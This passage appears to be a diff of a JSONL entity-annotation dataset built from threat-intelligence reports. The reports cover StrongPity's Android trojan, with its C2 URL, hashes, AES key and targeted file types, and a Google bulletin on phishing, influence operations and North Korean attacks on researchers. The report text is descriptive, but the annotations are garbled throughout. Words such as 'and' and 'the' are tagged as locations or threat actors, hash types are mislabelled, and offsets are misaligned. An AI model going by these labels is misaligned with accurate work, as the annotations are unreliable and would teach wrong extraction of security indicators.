 {"id":10899,"text":"The sample 74582c3d920332117541a9bbc6b8995fbe7e1aff communicates with the URL  https:\/\/www.upn-sec3-msd[.]com\/ProxyServer\/service\/.  ","entities":[{"id":33180,"label":"location","start_offset":4,"end_offset":10},{"id":33181,"label":"MD5","start_offset":11,"end_offset":51},{"id":33182,"label":"URL","start_offset":79,"end_offset":94}],"relations":[],"Comments":[]}
 {"id":10900,"text":"The domain name “upn-sec3-msd[.]com” was mentioned in another StrongPity report.","entities":[],"relations":[],"Comments":[]}
-{"id":10901,"text":"The domain naming pattern and domain acquisition techniques are quite similar.","entities":[{"id":33184,"label":"location","start_offset":26,"end_offset":29},{"id":33185,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":10902,"text":"For example, the domain names used by StrongPity in 2020 have a domain naming pattern similar to the domains used by the identified Android samples.","entities":[],"relations":[],"Comments":[]}
-{"id":10903,"text":"One of the domain names, networktopologymaps[.]com, was likely bought when registration at Gandi expired.","entities":[{"id":33190,"label":"location","start_offset":56,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":10904,"text":"The domain was acquired via the Porkbun network registrar.","entities":[],"relations":[],"Comments":[]}
 {"id":10905,"text":"This is similar to the domain hostoperationsystems[.]com, which was previously mentioned in the Talos report.","entities":[],"relations":[],"Comments":[]}
-{"id":10906,"text":"This domain was also acquired via Porkbun and features a comparable domain naming pattern.","entities":[{"id":33195,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":10907,"text":"Another notable point of correlation to StrongPity is the list of file extensions, which we have seen in Android samples.","entities":[{"id":33196,"label":"location","start_offset":16,"end_offset":21},{"id":33198,"label":"location","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":10908,"text":"A similar list of the file extensions for the files is presented in variants of the trojan for Windows systems.","entities":[{"id":33200,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":10909,"text":"For example, one of the samples that we had examined earlier, gathers files with the following extensions:  .7z .asc .dgs .doc .docx .gpg .pdf .pgp .ppt .pptx .rar .rjv .rms .rtf .sft .tc .txt .xls .xlsx  As we previously mentioned, there are no public reports of the StrongPity threat actor using malicious Android applications in the attack.","entities":[{"id":33202,"label":"location","start_offset":13,"end_offset":16},{"id":33203,"label":"location","start_offset":239,"end_offset":242},{"id":33204,"label":"location","start_offset":246,"end_offset":252},{"id":33205,"label":"malware","start_offset":268,"end_offset":278}],"relations":[],"Comments":[]}
-{"id":10910,"text":"However, we examined the trojan code-embedding techniques as well as the trojan functionality of the malicious code written by the same threat actor for Windows platforms, and we have identified some similar patterns.","entities":[{"id":33207,"label":"location","start_offset":131,"end_offset":135},{"id":33208,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":10911,"text":"This leads us to believe that these could belong to the same threat actor.","entities":[{"id":33209,"label":"location","start_offset":56,"end_offset":60}],"relations":[],"Comments":[]}
 {"id":10912,"text":"StrongPity actively develops new malicious android apps","entities":[],"relations":[],"Comments":[]}
 {"id":10913,"text":"We believe that the StrongPity Threat actor is actively developing backdoors for Android.","entities":[{"id":33211,"label":"threat-actor","start_offset":20,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":10914,"text":"Based on the test sample that we have identified, we can see that the threat actor attempts several techniques to lure potential victims: repackaged applications, compromised websites, and fake variants of popular applications.","entities":[{"id":33212,"label":"location","start_offset":18,"end_offset":24},{"id":33213,"label":"location","start_offset":53,"end_offset":56},{"id":33214,"label":"location","start_offset":114,"end_offset":118},{"id":33215,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
 {"id":10915,"text":"Based on the additional functionalities that we identified in the fake Samsung security service application (75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b), we think that among the APK files that we had identified, the repackaged applications are bundled with the first version of the Android trojan, while the fake application could be a work in progress for the next version of the tool.","entities":[{"id":33216,"label":"location","start_offset":79,"end_offset":87},{"id":33217,"label":"SHA1","start_offset":109,"end_offset":173},{"id":33218,"label":"location","start_offset":262,"end_offset":265},{"id":33220,"label":"location","start_offset":366,"end_offset":374},{"id":33221,"label":"location","start_offset":403,"end_offset":407}],"relations":[],"Comments":[]}
-{"id":10916,"text":"In the second version, we observed the threat actor developed and included some additional components and as well as added support for more message types.","entities":[{"id":33223,"label":"location","start_offset":62,"end_offset":65},{"id":33224,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":10917,"text":"The following table shows the types that the threat actor has defined.","entities":[],"relations":[],"Comments":[]}
-{"id":10918,"text":" Message type  Details  MSG_ADD_MODULE  Add a new module  MSG_GET_MODULE  Get the module instance  MSG_DEL_MODULE  Delete module file under <DIR>\/.android\/.li\/<module name>  MSG_DEL_APK  Delete the APK file under the download directory  MSG_START_MODULES      Table 2.","entities":[{"id":33225,"label":"location","start_offset":9,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":10919,"text":"Message types defined by the threat actor","entities":[],"relations":[],"Comments":[]}
-{"id":10920,"text":"In this version, MSG_COLLECT is no longer present — we think they replaced it with MSG_START_MODULES, a message used to read all module names from the shared preference, and start\/initialize them one by one.","entities":[{"id":33227,"label":"location","start_offset":170,"end_offset":173},{"id":33228,"label":"location","start_offset":174,"end_offset":179},{"id":33229,"label":"location","start_offset":191,"end_offset":195},{"id":33230,"label":"location","start_offset":196,"end_offset":199},{"id":33231,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]}
-{"id":10921,"text":" We were not able to get access to these modules, but based on some of the code functionality that we observed, we believe that these modules are designed to collect data from the victim’s devices and write the collected data into a local SQLite db data file.","entities":[{"id":33232,"label":"location","start_offset":142,"end_offset":145},{"id":33233,"label":"location","start_offset":197,"end_offset":200}],"relations":[],"Comments":[]}
 {"id":10922,"text":"However, we were not able to find any of these modules in the wild.","entities":[],"relations":[],"Comments":[]}
-{"id":10923,"text":"There are also several other key differences between version 1 and version 2 of the trojan:","entities":[{"id":33234,"label":"location","start_offset":6,"end_offset":9},{"id":33235,"label":"location","start_offset":45,"end_offset":52},{"id":33237,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":10924,"text":" The message Handler for heartbeat message in version 2 is now split into two messages: heartbeat and taken_config.","entities":[{"id":33239,"label":"location","start_offset":63,"end_offset":68},{"id":33241,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":10925,"text":"Either of these messages can receive a response from the C&C server and decrypt the response to update the local configuration, similarly to the version 1.","entities":[{"id":33242,"label":"location","start_offset":25,"end_offset":28},{"id":33243,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":10926,"text":"Version 2 uses different AES encryption keys:  key(\"aaaanothingimpossiblebbb\"), and AES IV(\"aaaanothingimpos\") ScreenReceiver class is added to the second version of the trojan.","entities":[{"id":33245,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":10927,"text":"The purpose of this Receiver is to start the malicious service via Screen_On and Screen_Off events.","entities":[{"id":33247,"label":"location","start_offset":35,"end_offset":40},{"id":33248,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":10928,"text":"Version 2 has an ability to execute “su” command, if the device is rooted.","entities":[],"relations":[],"Comments":[]}
-{"id":10929,"text":"The main usage of the root privilege here is that it could grant permissions silently.","entities":[{"id":33249,"label":"location","start_offset":22,"end_offset":26},{"id":33250,"label":"location","start_offset":59,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":10930,"text":"Such permissions include accessibility, notification and other.","entities":[{"id":33251,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":10931,"text":"However, we did not find any evidence that the sample would attempt to root the device.","entities":[{"id":33252,"label":"location","start_offset":47,"end_offset":53},{"id":33253,"label":"location","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":10932,"text":" Two components were added in version 2 for accessibility and notification.","entities":[{"id":33256,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":10933,"text":"Version 2 uses SQLite to store collected data.","entities":[],"relations":[],"Comments":[]}
 {"id":10934,"text":"Furthermore, it no longer uses ZIP.","entities":[],"relations":[],"Comments":[]}
-{"id":10935,"text":"In Version 2, the extra modules used in “MSG_START_MODULES” are downloaded from the C&C server via either the heartbeat or taken_config message.","entities":[{"id":33257,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":10936,"text":"It’s possible that these modules are decompressed as part of the response into <DIR>\/.android\/.li and consequentially executed.","entities":[{"id":33258,"label":"location","start_offset":33,"end_offset":36},{"id":33259,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":10937,"text":" Conclusion  ","entities":[],"relations":[],"Comments":[]}
-{"id":10938,"text":"This investigation has provided evidence to attribute the Android malware sample, which was posted on the Syrian e-Gov website, to the StrongPity threat group.","entities":[{"id":33260,"label":"location","start_offset":74,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":10939,"text":"We were also able to identify additional Android trojan files and correlate these malicious Android applications with existing public reports based on their similarities to the threat actor’s TTPs and network infrastructure they used.","entities":[{"id":33265,"label":"location","start_offset":62,"end_offset":65},{"id":33266,"label":"location","start_offset":127,"end_offset":133},{"id":33267,"label":"location","start_offset":197,"end_offset":200}],"relations":[],"Comments":[]}
-{"id":10940,"text":"Although there are no previously known malicious Android applications attributed to the StrongPity group, we strongly believe that the threat actor is in the process of actively developing new malicious components that can be used to target Android platforms.","entities":[{"id":33268,"label":"location","start_offset":15,"end_offset":18},{"id":33270,"label":"location","start_offset":219,"end_offset":222},{"id":33271,"label":"location","start_offset":234,"end_offset":240}],"relations":[],"Comments":[]}
-{"id":10941,"text":"We believe that the threat actor is exploring multiple ways of delivering the applications to potential victims, such as using fake apps and using compromised websites as watering holes to trick users into installing malicious applications.","entities":[{"id":33273,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":10942,"text":"Typically, these websites would require its users to download the applications directly onto their devices.","entities":[],"relations":[],"Comments":[]}
 {"id":10943,"text":"In order to do so, these users would be required to enable installation of the applications from “unknown sources” on their devices.","entities":[],"relations":[],"Comments":[]}
-{"id":10944,"text":"This bypasses the “trust-chain” of the Android ecosystem and makes it easier for an attacker to deliver additional malicious components.","entities":[{"id":33274,"label":"location","start_offset":19,"end_offset":24},{"id":33275,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
 {"id":10945,"text":"Indicators of Compromise (IOCs) Files","entities":[],"relations":[],"Comments":[]}
 {"id":10946,"text":" SHA256  Description","entities":[],"relations":[],"Comments":[]}
 {"id":10947,"text":" Detection  fd1aac87399ad22234c503d8adb2ae9f0d950b6edf4456b1515a30100b5656a7      ","entities":[{"id":33276,"label":"SHA2","start_offset":12,"end_offset":76}],"relations":[],"Comments":[]}
@@ -10951,705 +7845,241 @@
 {"id":10951,"text":"Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.","entities":[{"id":33309,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":33310,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":10952,"text":"Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.","entities":[],"relations":[],"Comments":[]}
 {"id":10953,"text":"Generally, 2020 has been dominated by COVID-19.","entities":[],"relations":[],"Comments":[]}
-{"id":10954,"text":"The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.","entities":[{"id":33314,"label":"location","start_offset":23,"end_offset":29},{"id":33315,"label":"location","start_offset":71,"end_offset":84},{"id":33316,"label":"location","start_offset":90,"end_offset":95},{"id":33317,"label":"location","start_offset":97,"end_offset":100},{"id":33318,"label":"location","start_offset":108,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":10955,"text":"Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.","entities":[{"id":33319,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":10956,"text":"We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.","entities":[{"id":33321,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":10957,"text":"And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.","entities":[{"id":33324,"label":"location","start_offset":0,"end_offset":3},{"id":33325,"label":"location","start_offset":80,"end_offset":83},{"id":33326,"label":"attack-pattern","start_offset":84,"end_offset":92},{"id":33327,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":10958,"text":"As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.","entities":[{"id":33329,"label":"location","start_offset":46,"end_offset":50},{"id":33330,"label":"location","start_offset":61,"end_offset":66},{"id":33331,"label":"location","start_offset":68,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":10959,"text":"The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.","entities":[{"id":33334,"label":"location","start_offset":87,"end_offset":90},{"id":33341,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]}
-{"id":10960,"text":"The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.","entities":[{"id":33344,"label":"location","start_offset":144,"end_offset":147},{"id":33345,"label":"location","start_offset":186,"end_offset":190},{"id":33346,"label":"location","start_offset":193,"end_offset":199}],"relations":[],"Comments":[]}
-{"id":10961,"text":"The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.","entities":[{"id":33348,"label":"location","start_offset":4,"end_offset":9},{"id":33349,"label":"location","start_offset":78,"end_offset":82},{"id":33351,"label":"location","start_offset":120,"end_offset":123},{"id":33352,"label":"location","start_offset":162,"end_offset":166}],"relations":[],"Comments":[]}
 {"id":10962,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":33353,"label":"location","start_offset":66,"end_offset":76},{"id":33354,"label":"location","start_offset":109,"end_offset":117},{"id":33355,"label":"location","start_offset":123,"end_offset":126},{"id":33356,"label":"attack-pattern","start_offset":180,"end_offset":188},{"id":33357,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]}
 {"id":10963,"text":"APP was designed specifically for high-risk accounts.","entities":[],"relations":[],"Comments":[]}
-{"id":10964,"text":"Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.","entities":[{"id":33358,"label":"location","start_offset":101,"end_offset":104},{"id":33359,"label":"location","start_offset":176,"end_offset":179},{"id":33360,"label":"location","start_offset":275,"end_offset":278}],"relations":[],"Comments":[]}
 {"id":10965,"text":"Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.","entities":[{"id":33361,"label":"location","start_offset":13,"end_offset":16},{"id":33362,"label":"location","start_offset":47,"end_offset":55},{"id":33364,"label":"attack-pattern","start_offset":97,"end_offset":105},{"id":33365,"label":"location","start_offset":106,"end_offset":109},{"id":33366,"label":"threat-actor","start_offset":110,"end_offset":114},{"id":33367,"label":"location","start_offset":203,"end_offset":206},{"id":33368,"label":"location","start_offset":242,"end_offset":245},{"id":33369,"label":"malware","start_offset":246,"end_offset":250}],"relations":[],"Comments":[]}
-{"id":10966,"text":"In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.","entities":[{"id":33370,"label":"location","start_offset":57,"end_offset":60},{"id":33371,"label":"location","start_offset":74,"end_offset":82},{"id":33372,"label":"location","start_offset":93,"end_offset":96},{"id":33374,"label":"location","start_offset":128,"end_offset":136},{"id":33375,"label":"location","start_offset":137,"end_offset":142},{"id":33376,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":10967,"text":"When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.","entities":[{"id":33378,"label":"location","start_offset":145,"end_offset":152},{"id":33379,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":10968,"text":"We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.","entities":[{"id":33380,"label":"location","start_offset":57,"end_offset":61},{"id":33381,"label":"location","start_offset":70,"end_offset":73},{"id":33382,"label":"location","start_offset":84,"end_offset":92},{"id":33383,"label":"location","start_offset":105,"end_offset":108},{"id":33384,"label":"location","start_offset":147,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":10969,"text":"We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).","entities":[{"id":33385,"label":"location","start_offset":66,"end_offset":69},{"id":33387,"label":"location","start_offset":113,"end_offset":116},{"id":33389,"label":"location","start_offset":283,"end_offset":286},{"id":33390,"label":"location","start_offset":287,"end_offset":295}],"relations":[],"Comments":[]}
-{"id":10970,"text":"Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.","entities":[{"id":33393,"label":"location","start_offset":76,"end_offset":79},{"id":33395,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":10971,"text":"Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.","entities":[{"id":33400,"label":"location","start_offset":97,"end_offset":102},{"id":33401,"label":"location","start_offset":103,"end_offset":111},{"id":33402,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":10972,"text":"These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.","entities":[{"id":33403,"label":"location","start_offset":59,"end_offset":66},{"id":33404,"label":"location","start_offset":74,"end_offset":79},{"id":33406,"label":"location","start_offset":131,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":10973,"text":"We’ll also share additional removal actions from April and May in the Q2 Bulletin.","entities":[{"id":33409,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":10974,"text":"Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.","entities":[{"id":33412,"label":"location","start_offset":4,"end_offset":8},{"id":33413,"label":"location","start_offset":52,"end_offset":55},{"id":33414,"label":"location","start_offset":126,"end_offset":131},{"id":33415,"label":"location","start_offset":133,"end_offset":136},{"id":33416,"label":"location","start_offset":140,"end_offset":144},{"id":33417,"label":"location","start_offset":159,"end_offset":162},{"id":33418,"label":"location","start_offset":190,"end_offset":198},{"id":33419,"label":"location","start_offset":199,"end_offset":204},{"id":33420,"label":"location","start_offset":205,"end_offset":208},{"id":33421,"label":"location","start_offset":223,"end_offset":231}],"relations":[],"Comments":[]}
 {"id":10975,"text":"We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.","entities":[{"id":33422,"label":"location","start_offset":3,"end_offset":7},{"id":33423,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":33424,"label":"location","start_offset":91,"end_offset":94},{"id":33425,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":10976,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":10977,"text":"It was last updated on May 27, 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":10978,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":10979,"text":"The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and was reproducing IUVM content covering Iran’s strikes into Iraq and U.S. policy on oil.","entities":[{"id":33431,"label":"location","start_offset":4,"end_offset":12},{"id":33435,"label":"location","start_offset":108,"end_offset":111},{"id":33437,"label":"location","start_offset":133,"end_offset":140},{"id":33440,"label":"location","start_offset":175,"end_offset":178},{"id":33442,"label":"location","start_offset":194,"end_offset":197}],"relations":[],"Comments":[]}
 {"id":10980,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":10981,"text":"We terminated 1 advertising account and 82 YouTube channels as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":33445,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":10982,"text":"The campaign was sharing political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":33449,"label":"location","start_offset":4,"end_offset":12},{"id":33450,"label":"location","start_offset":35,"end_offset":42},{"id":33455,"label":"location","start_offset":97,"end_offset":100},{"id":33457,"label":"location","start_offset":109,"end_offset":112},{"id":33459,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":10983,"text":"We found evidence of this campaign being tied to the digital marketing firm New Waves based in Cairo.","entities":[{"id":33461,"label":"location","start_offset":26,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":10984,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":33464,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":10985,"text":"We terminated 3 advertising accounts, 1 AdSense account, and 11 YouTube channels as part of our actions against a coordinated influence operation linked to India.","entities":[{"id":33469,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":10986,"text":"The campaign was sharing messages in English supportive of Qatar.","entities":[{"id":33473,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":10987,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":33476,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":10988,"text":"We banned 1 Play developer and terminated 68 YouTube channels as part of our actions against a coordinated influence operation.","entities":[{"id":33479,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":10989,"text":"The campaign was posting political content in Arabic supportive of Turkey and critical of the UAE and Yemen.","entities":[{"id":33482,"label":"location","start_offset":4,"end_offset":12},{"id":33483,"label":"location","start_offset":35,"end_offset":42},{"id":33486,"label":"location","start_offset":74,"end_offset":77},{"id":33488,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":10990,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":33490,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":10991,"text":"We terminated 1 advertising account, 1 AdSense account, 17 YouTube channels and banned 1 Play developer as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":33497,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":10992,"text":"The campaign was posting political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":33500,"label":"location","start_offset":4,"end_offset":12},{"id":33501,"label":"location","start_offset":35,"end_offset":42},{"id":33506,"label":"location","start_offset":97,"end_offset":100},{"id":33508,"label":"location","start_offset":109,"end_offset":112},{"id":33510,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":10993,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":33512,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":10994,"text":"We banned 1 Play developer and terminated 78 YouTube channels as part of our actions against a coordinated influence operation linked to Serbia.","entities":[{"id":33515,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":10995,"text":"The domestic campaign was posting pro-Serbian political content.","entities":[{"id":33519,"label":"location","start_offset":4,"end_offset":12},{"id":33520,"label":"location","start_offset":13,"end_offset":21},{"id":33522,"label":"location","start_offset":56,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":10996,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":33523,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":10997,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":10998,"text":"It was last updated on May 12, 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":10999,"text":"We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.","entities":[{"id":33527,"label":"location","start_offset":119,"end_offset":122},{"id":33528,"label":"malware","start_offset":123,"end_offset":127},{"id":33529,"label":"location","start_offset":157,"end_offset":160},{"id":33530,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":11000,"text":"In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.","entities":[{"id":33534,"label":"location","start_offset":59,"end_offset":67},{"id":33536,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":11001,"text":"On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”","entities":[{"id":33538,"label":"location","start_offset":19,"end_offset":23},{"id":33539,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":11002,"text":"The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.","entities":[{"id":33541,"label":"location","start_offset":51,"end_offset":59},{"id":33543,"label":"location","start_offset":117,"end_offset":125},{"id":33544,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":11003,"text":"Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.","entities":[{"id":33545,"label":"location","start_offset":93,"end_offset":99},{"id":33546,"label":"location","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":11004,"text":"In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.","entities":[{"id":33548,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":11005,"text":" The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.","entities":[{"id":33549,"label":"location","start_offset":39,"end_offset":44},{"id":33550,"label":"location","start_offset":93,"end_offset":101},{"id":33551,"label":"location","start_offset":141,"end_offset":144},{"id":33552,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":11006,"text":"On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.","entities":[{"id":33555,"label":"location","start_offset":79,"end_offset":82},{"id":33556,"label":"location","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":11007,"text":"We have reported all identified social media profiles to the platforms to allow them to take appropriate action.","entities":[{"id":33557,"label":"location","start_offset":39,"end_offset":44},{"id":33558,"label":"location","start_offset":80,"end_offset":84},{"id":33559,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":11008,"text":"At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.","entities":[{"id":33560,"label":"location","start_offset":8,"end_offset":12},{"id":33561,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":11009,"text":"Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.","entities":[{"id":33563,"label":"location","start_offset":27,"end_offset":31},{"id":33564,"label":"location","start_offset":33,"end_offset":41},{"id":33565,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":11010,"text":"Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.","entities":[{"id":33566,"label":"location","start_offset":66,"end_offset":69},{"id":33567,"label":"location","start_offset":81,"end_offset":84},{"id":33568,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":11011,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.","entities":[],"relations":[],"Comments":[]}
-{"id":11012,"text":"Fake Security Company Website:     LinkedIn Profiles:    Email:    Attacker Owned Domains:        Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":33569,"label":"location","start_offset":5,"end_offset":13},{"id":33572,"label":"location","start_offset":180,"end_offset":188},{"id":33573,"label":"location","start_offset":199,"end_offset":207},{"id":33574,"label":"location","start_offset":254,"end_offset":257},{"id":33575,"label":"location","start_offset":293,"end_offset":296}],"relations":[],"Comments":[]}
-{"id":11013,"text":"The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.","entities":[{"id":33576,"label":"location","start_offset":23,"end_offset":31},{"id":33578,"label":"location","start_offset":130,"end_offset":135},{"id":33579,"label":"location","start_offset":139,"end_offset":145},{"id":33580,"label":"location","start_offset":167,"end_offset":171}],"relations":[],"Comments":[]}
